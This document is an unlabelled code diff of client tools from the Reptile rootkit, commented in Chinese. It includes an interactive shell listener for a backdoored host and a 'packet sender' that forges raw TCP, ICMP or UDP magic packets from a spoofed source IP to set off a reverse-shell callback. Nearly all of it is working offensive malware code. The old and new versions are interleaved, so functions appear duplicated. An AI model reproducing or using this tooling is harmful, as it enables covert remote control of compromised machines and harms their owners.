// 读取一行输入的函数
char* read_line(void) {
char *read_line(void)
{
int bufsize = RL_BUFSIZE;
int position = 0;
char* buffer = malloc(sizeof(char) * bufsize);
char *buffer = malloc(sizeof(char) * bufsize);
int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) {
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
// 循环读取用户输入,直到换行符
while (1) {
c = getchar();
if (c == EOF) {
free(buffer);
exit(EXIT_SUCCESS);
}
else if (c == '\n') {
} else if (c == '\n') {
buffer[position] = '\0';
return buffer;
}
else {
} else {
buffer[position] = c;
}
position++;
if (position >= bufsize) {
bufsize += RL_BUFSIZE;
char* buffer_backup = buffer;
char *buffer_backup = buffer;
if ((buffer = realloc(buffer, bufsize)) == NULL) {
free(buffer_backup);
fprintf(stderr, "reptile: allocation error\n");
@ -582,155 +624,149 @@ char* read_line(void) {
}
}
// 解析输入行的函数
char** parse(char* line) {
char **parse(char *line)
{
int bufsize = TOK_BUFSIZE, position = 0;
char** tokens = malloc(bufsize * sizeof(char*));
char* token, ** tokens_backup;
char **tokens = malloc(bufsize * sizeof(char *));
char *token, **tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) {
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM);
while (token != NULL) {
tokens[position] = token;
position++;
if (position >= bufsize) {
bufsize += TOK_BUFSIZE;
tokens_backup = tokens;
tokens = realloc(tokens, bufsize * sizeof(char*));
tokens = realloc(tokens, bufsize * sizeof(char *));
if (!tokens) {
free(tokens_backup);
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
}
token = strtok(NULL, TOK_DELIM);
}
tokens[position] = NULL;
return tokens;
}
// 命令行循环函数
void reptile_loop(int sock) {
char* line;
char** args;
void reptile_loop(int sock)
{
char *line;
char **args;
int status;
// 循环读取命令并执行,直到接收到退出信号
do {
line = readline("\e[01;32mreptile> \e[00m");
add_history(line);
args = parse(line);
status = execute(sock, args);
free(line);
free(args);
} while (status);
clear_history();
}
// 处理关闭连接的信号
void handle_shutdown(int signal) {
void handle_shutdown(int signal)
{
close(sockfd);
exit(signal);
}
// 监听连接的函数
void listener(int port) {
void listener(int port)
{
int new_sockfd, yes = 1;
struct sockaddr_in host_addr, client_addr;
socklen_t sin_size;
// 创建套接字
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
kill(pid, SIGQUIT);
fatal("in socket");
}
// 设置套接字选项,允许立即重用地址
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) {
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) ==
-1) {
kill(pid, SIGQUIT);
close(sockfd);
fatal("setting socket option SO_REUSEADDR");
}
// 设置信号处理函数,处理关闭连接的信号
signal(SIGTERM, handle_shutdown);
signal(SIGINT, handle_shutdown);
// 定义主机地址结构体
host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(port);
host_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(host_addr.sin_zero), '\0', 8);
// 绑定套接字到主机地址
if (bind(sockfd, (struct sockaddr*)&host_addr, sizeof(struct sockaddr)) == -1) {
if (bind(sockfd, (struct sockaddr *)&host_addr,
sizeof(struct sockaddr)) == -1) {
kill(pid, SIGQUIT);
close(sockfd);
fatal("binding to socket");
}
// 监听套接字
if (listen(sockfd, 5) == -1) {
kill(pid, SIGQUIT);
close(sockfd);
fatal("listening on socket");
}
else {
} else {
fprintf(stdout, "%s Listening on port %d...\n", good, port);
}
// 接受客户端连接
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr*)&client_addr, &sin_size);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if (new_sockfd == -1) {
kill(pid, SIGQUIT);
close(sockfd);
fatal("accepting connection");
}
// 打印客户端连接信息
fprintf(stdout, "%s Connection from %s:%d\n\n", awesome,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// 如果没有设置密码,提示用户输入密码
// usleep(100 * 1500);
if (password == NULL) {
password = getpass("Password: ");
fprintf(stdout, "\n");
}
// 初始化客户端连接
if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) {
close(new_sockfd);
fprintf(stdout, "%s wrong password!\n\n", bad);
exit(ERROR);
}
// 打印欢迎信息并进入命令行循环
banner();
reptile_loop(new_sockfd);
// 关闭套接字
shutdown(new_sockfd, SHUT_RDWR);
close(sockfd);
}
// 显示使用方法的函数
void usage(char* argv0) {
fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", argv0);
void usage(char *argv0)
{
fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n",
argv0);
exit(1);
}
// 主函数
int main(int argc, char** argv) {
int main(int argc, char **argv)
{
int opt, port = 0;
// 解析命令行参数
while ((opt = getopt(argc, argv, "p:s:")) != EOF) {
switch (opt) {
case 'p':
@ -745,28 +781,28 @@ int main(int argc, char** argv) {
}
}
// 如果没有提供端口号,则显示使用方法并退出
if (port == 0)
usage(*argv);
// 如果命令行参数不足,则显示使用方法并退出
if (argc <= 1)
usage(argv[0]);
// 打印使用密码信息
// printf("\n\e[01;36mReptile Shell\e[00m\n");
// printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
if (password != NULL)
fprintf(stdout, "%s Using password: %s\n", good, password);
// 创建子进程
pid = fork();
if (pid == -1)
fatal("on forking proccess");
// 父进程调用listener函数监听连接
if (pid > 0)
listener(port);
// 子进程执行后台任务(这部分代码被注释掉了)
// if (pid == 0)
// background job while we are listening
return EXIT_SUCCESS;
}

@ -21,457 +21,444 @@
#include "util.h"
// Don't worry, it is gonna cahnged next version
// 定义常量这些值用于设置IP首部和TCP首部的字段
#define KEY 0x6de56d3b // 加密密钥
#define IPID 3429 // IP标识符
#define SEQ 15123 // TCP序列号
#define WIN 9965 // TCP窗口大小
// 定义一个伪首部结构体用于计算TCP和UDP数据包的校验和
struct pseudohdr {
uint32_t saddr; // 源IP地址
uint32_t daddr; // 目的IP地址
uint8_t zero; // 填充字段总是0
uint8_t protocol; // 协议类型TCP或UDP
uint16_t length; // 长度TCP或UDP首部和数据的总长度
#define KEY 0x6de56d3b
#define IPID 3429
#define SEQ 15123
#define WIN 9965
struct pseudohdr
{
uint32_t saddr;
uint32_t daddr;
uint8_t zero;
uint8_t protocol;
uint16_t length;
};
// 计算校验和的函数用于IP和TCP/UDP首部
unsigned short csum(unsigned short* buf, int nwords) {
unsigned long sum;
unsigned short odd;
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
unsigned short odd;
// 将两个字节的校验和相加
for (sum = 0; nwords > 1; nwords -= 2)
sum += *buf++;
for (sum = 0; nwords > 1; nwords-=2)
sum += *buf++;
// 如果有奇数个字节,将最后一个字节加入校验和
if (nwords == 1) {
odd = 0;
*((unsigned char*)&odd) = *(unsigned char*)buf;
sum += odd;
}
if (nwords == 1) {
odd = 0;
*((unsigned char *)&odd) = *(unsigned char *)buf;
sum += odd;
}
// 将校验和折叠成16位
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
// 返回反码
return ~sum;
return ~sum;
}
// 发送TCP数据包的函数
int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
// 变量声明
int socktcp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam, plen;
char* buffer;
struct iphdr* iph;
struct tcphdr* tcph;
struct sockaddr_in s;
socklen_t optval = 1;
struct pseudohdr psh;
char* pseudo_packet;
// 计算数据包总长度
pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
// 分配内存
if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
// 初始化内存
memset(buffer, '\0', pckt_tam);
// 填充IP首部
iph = (struct iphdr*)buffer;
tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(IPID);
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->check = csum((unsigned short*)buffer, iph->tot_len);
// 填充TCP首部
tcph->source = htons(srcport);
tcph->dest = htons(dstport);
tcph->seq = 0x0;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(WIN);
tcph->urg_ptr = 0;
tcph->check = 0;
// 构建伪首部用于计算TCP校验和
psh.saddr = inet_addr(srcip);
psh.daddr = inet_addr(dstip);
psh.zero = 0;
psh.protocol = IPPROTO_TCP;
psh.length = htons(sizeof(struct tcphdr) + data_len);
// 计算TCP首部和数据的校验和
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc");
goto close_socket;
}
bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
tcph->seq = htons(SEQ);
tcph->check = 0;
memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
tcph->check = csum((unsigned short*)pseudo_packet, plen);
// 设置目的地址和端口
s.sin_family = AF_INET;
s.sin_port = htons(dstport);
s.sin_addr.s_addr = inet_addr(dstip);
// 发送数据包
if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
// 清理资源
if (nbytes > 0) {
fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
free(pseudo_packet);
int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len)
{
int socktcp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam, plen;
char *buffer;
struct iphdr *iph;
struct tcphdr *tcph;
struct sockaddr_in s;
socklen_t optval = 1;
struct pseudohdr psh;
char *pseudo_packet;
pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
if (!(buffer = (char *)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
memset(buffer, '\0', pckt_tam);
iph = (struct iphdr *)buffer;
tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr));
if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
fatal("on creating TCP socket");
goto free_buffer;
}
if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
fatal("on setsockopt");
goto close_socket;
}
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(IPID);
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
//iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr));
iph->check = csum((unsigned short *)buffer, iph->tot_len);
tcph->source = htons(srcport);
tcph->dest = htons(dstport);
tcph->seq = 0x0;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(WIN);
tcph->urg_ptr = 0;
tcph->check = 0;
psh.saddr = inet_addr(srcip);
psh.daddr = inet_addr(dstip);
psh.zero = 0;
psh.protocol = IPPROTO_TCP;
psh.length = htons(sizeof(struct tcphdr) + data_len);
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc");
goto close_socket;
}
bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
tcph->seq = htons(SEQ);
tcph->check = 0;
memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
tcph->check = csum((unsigned short *)pseudo_packet, plen);
s.sin_family = AF_INET;
s.sin_port = htons(dstport);
s.sin_addr.s_addr = inet_addr(dstip);
if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
if (nbytes > 0) {
fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
free(pseudo_packet);
close_socket:
close(socktcp);
close(socktcp);
free_buffer:
free(buffer);
return ret;
free(buffer);
return ret;
}
// 发送ICMP数据包的函数
int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
// 变量声明
int sockicmp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam;
char* buffer;
struct iphdr* iph;
struct icmphdr* icmp;
struct sockaddr_in s;
socklen_t optval = 1;
// 计算数据包总长度
pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;
// 分配内存
if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
// 初始化内存
memset(buffer, '\0', pckt_tam);
// 填充IP首部
iph = (struct iphdr*)buffer;
icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(IPID);
iph->ttl = 255;
iph->protocol = IPPROTO_ICMP;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->tot_len = pckt_tam;
iph->check = csum((unsigned short*)buffer, iph->tot_len);
// 填充ICMP首部
icmp->type = 8; // ICMP类型回显请求
icmp->code = ICMP_ECHO; // ICMP代码回显请求
icmp->checksum = 0; // 清零校验和字段
icmp->un.echo.id = htons(WIN); // ICMP标识符
icmp->un.echo.sequence = htons(SEQ); // ICMP序列号
// 计算ICMP首部和数据的校验和
icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len);
// 设置目的地址
s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(dstip);
// 发送数据包
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
// 清理资源
if (nbytes > 0) {
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
int icmp(char *srcip, char *dstip, char *data, unsigned int data_len)
{
int sockicmp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam;
char *buffer;
struct iphdr *iph;
struct icmphdr *icmp;
struct sockaddr_in s;
socklen_t optval = 1;
pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len);
if (!(buffer = (char *)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
memset(buffer, '\0', pckt_tam);
iph = (struct iphdr *)buffer;
icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));
if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
fatal("in creating raw ICMP socket");
goto free_buffer;
}
if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
fatal("in setsockopt");
goto close_socket;
}
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(IPID);
iph->ttl = 255;
iph->protocol = IPPROTO_ICMP;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->tot_len = pckt_tam;
iph->check = csum((unsigned short *)buffer, iph->tot_len);
icmp->type = 8;
icmp->code = ICMP_ECHO;
icmp->checksum = 0;
icmp->un.echo.id = htons(WIN);
icmp->un.echo.sequence = htons(SEQ);
icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len);
s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(dstip);
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
if (nbytes > 0) {
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
close_socket:
close(sockicmp);
close(sockicmp);
free_buffer:
free(buffer);
return ret;
free(buffer);
return ret;
}
// 发送UDP数据包的函数
int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
// 声明变量
int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket发送的字节数返回值
unsigned int pckt_tam, plen; // 数据包长度,伪包长度
char* buffer; // 缓冲区
struct iphdr* iph; // IP头指针
struct udphdr* udph; // UDP头指针
struct sockaddr_in s; // 地址结构
socklen_t optval = 1; // 设置socket选项的值
struct pseudohdr psh; // 伪包头结构
char* pseudo_packet; // 伪包数据指针
// 计算数据包总长度
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
// 分配内存
if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
return ret; // 返回失败
}
// 初始化内存
memset(buffer, '\0', pckt_tam); // 将缓冲区清零
// 填充IP首部
iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
iph->ihl = 5; // IP头长度
iph->version = 4; // IP版本
iph->tos = 0; // 服务类型
iph->id = htons(IPID); // 标识符
iph->ttl = 255; // 生命周期
iph->protocol = IPPROTO_UDP; // 协议类型
iph->tot_len = pckt_tam; // 总长度
iph->saddr = inet_addr(srcip); // 源IP地址
iph->daddr = inet_addr(dstip); // 目的IP地址
iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和
// 填充UDP首部
udph->source = htons(srcport); // 源端口
udph->dest = htons(dstport); // 目的端口
udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
udph->check = 0; // 校验和初始化为0
// 创建伪包头
psh.saddr = inet_addr(srcip); // 源IP地址
psh.daddr = inet_addr(dstip); // 目的IP地址
psh.zero = 0; // 填充0
psh.protocol = IPPROTO_UDP; // 协议类型
psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度
// 计算伪包长度
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
// 分配伪包内存
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 分配失败时调用fatal函数
goto close_socket; // 跳转到关闭socket的标签
}
// 初始化伪包内存
bzero(pseudo_packet, plen); // 清零伪包
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头
// 计算UDP校验和
udph->check = 0; // 校验和重置为0
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和
// 设置目的地址
s.sin_family = AF_INET; // 地址族
s.sin_port = htons(dstport); // 目的端口
s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址
// 发送数据包
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 发送失败时调用fatal函数
// 检查发送的字节数
if (nbytes > 0) {
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
ret = EXIT_SUCCESS; // 设置返回值为成功
}
// 释放伪包内存
free(pseudo_packet);
int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len)
{
int sockudp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam, plen;
char *buffer;
struct iphdr *iph;
struct udphdr *udph;
struct sockaddr_in s;
socklen_t optval = 1;
struct pseudohdr psh;
char *pseudo_packet;
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
if (!(buffer = (char *)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
memset(buffer, '\0', pckt_tam);
iph = (struct iphdr *)buffer;
udph = (struct udphdr *)(buffer + sizeof(struct iphdr));
if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) {
fatal("on creating UDP socket");
goto free_buffer;
}
if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
fatal("on setsockopt");
goto close_socket;
}
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(IPID);
iph->ttl = 255;
iph->protocol = IPPROTO_UDP;
iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->check = csum((unsigned short *)buffer, iph->tot_len);
udph->source = htons(srcport);
udph->dest = htons(dstport);
udph->len = htons(sizeof(struct udphdr) + data_len);
udph->check = 0;
psh.saddr = inet_addr(srcip);
psh.daddr = inet_addr(dstip);
psh.zero = 0;
psh.protocol = IPPROTO_UDP;
psh.length = htons(sizeof(struct udphdr) + data_len);
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc");
goto close_socket;
}
bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
udph->check = 0;
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len);
udph->check = csum((unsigned short *)pseudo_packet, plen);
//fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check));
s.sin_family = AF_INET;
s.sin_port = htons(dstport);
s.sin_addr.s_addr = inet_addr(dstip);
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
if (nbytes > 0) {
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
free(pseudo_packet);
close_socket:
// 关闭socket
close(sockudp);
close(sockudp);
free_buffer:
// 释放缓冲区内存
free(buffer);
return ret; // 返回结果
free(buffer);
return ret;
}
void usage(char* argv0)
void usage(char *argv0)
{
// 打印使用说明
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
fprintf(stderr, "-t\tTarget\n");
fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
fprintf(stderr, "-s\tSource IP address to spoof\n");
fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-l\tHost to receive the reverse shell\n");
fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
exit(1); // 退出程序
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
fprintf(stderr, "-t\tTarget\n");
fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
fprintf(stderr, "-s\tSource IP address to spoof\n");
fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-l\tHost to receive the reverse shell\n");
fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n");
exit(1);
}
int main(int argc, char** argv)
int main(int argc, char **argv)
{
// 声明变量
int opt, dstport, srcport, len, crypt_len;
char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port,
* token, * data;
// 初始化端口变量
dstport = srcport = 0;
// 初始化字符串指针
prot = dstip = srcip = connect_back_host = connect_back_port = token =
NULL;
// 解析命令行参数
while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
switch (opt) {
case 'x':
// 设置协议
prot = optarg;
// 检查协议是否合法
if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
printf("%s wrong protocol\n", bad);
exit(-1);
}
}
}
break;
case 't':
// 设置目标IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
dstip = optarg;
break;
case 'l':
// 设置连接回显IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
connect_back_host = optarg;
break;
case 'p':
// 设置连接回显端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
connect_back_port = optarg;
break;
case 'r':
// 设置远程端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
dstport = atoi(optarg);
break;
case 's':
// 设置源IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
srcip = optarg;
break;
case 'q':
// 设置源端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
srcport = atoi(optarg);
break;
case 'k':
// 设置令牌
if (strlen(optarg) > 16 || strlen(optarg) < 5) {
printf("%s wrong size of token\n", bad);
exit(-1);
}
token = optarg;
break;
default:
// 打印使用说明
usage(argv[0]);
break;
}
}
// 检查必要的参数是否已设置
if (prot == NULL || dstip == NULL || srcip == NULL ||
connect_back_host == NULL || connect_back_port == NULL ||
token == NULL) {
usage(argv[0]);
}
// 检查端口参数
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
if (srcport == 0 || dstport == 0)
usage(argv[0]);
}
// 计算数据长度
len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
data = (char*)malloc(len);
// 检查内存分配
if (!data)
fatal("malloc");
// 初始化数据
bzero(data, len);
snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据
// 根据协议发送数据包
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
tcp(srcip, dstip, srcport, dstport, data, len);
}
else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
icmp(srcip, dstip, data, len);
}
else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
udp(srcip, dstip, srcport, dstport, data, len);
}
// 释放内存
free(data);
return EXIT_SUCCESS; // 返回成功
}
int opt, dstport, srcport, len, crypt_len;
char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port,
*token, *data;
dstport = srcport = 0;
prot = dstip = srcip = connect_back_host = connect_back_port = token =
NULL;
while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
switch (opt) {
case 'x':
prot = optarg;
if (strcmp(prot, "icmp") == 0 ||
strcmp(prot, "ICMP") == 0) {
if (strcmp(prot, "udp") == 0 ||
strcmp(prot, "UDP") == 0) {
if (strcmp(prot, "tcp") == 0 ||
strcmp(prot, "TCP") == 0) {
printf("%s wrong "
"protocol\n",
bad);
exit(-1);
}
}
}
break;
case 't':
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
dstip = optarg;
break;
case 'l':
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
connect_back_host = optarg;
break;
case 'p':
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
connect_back_port = optarg;
break;
case 'r':
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
dstport = atoi(optarg);
break;
case 's':
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
}
srcip = optarg;
break;
case 'q':
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
}
srcport = atoi(optarg);
break;
case 'k':
if (strlen(optarg) > 16 || strlen(optarg) < 5) {
printf("%s wrong size of token\n", bad);
exit(-1);
}
token = optarg;
break;
default:
usage(argv[0]);
break;
}
}
if (prot == NULL || dstip == NULL || srcip == NULL ||
connect_back_host == NULL || connect_back_port == NULL ||
token == NULL) {
usage(argv[0]);
}
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
if (srcport == 0 || dstport == 0)
usage(argv[0]);
}
len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
data = (char *)malloc(len);
if (!data)
fatal("malloc");
bzero(data, len);
snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
do_encrypt(data + strlen(token) + 1, crypt_len, KEY);
// printf("data size: %d\n", len);
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
tcp(srcip, dstip, srcport, dstport, data, len);
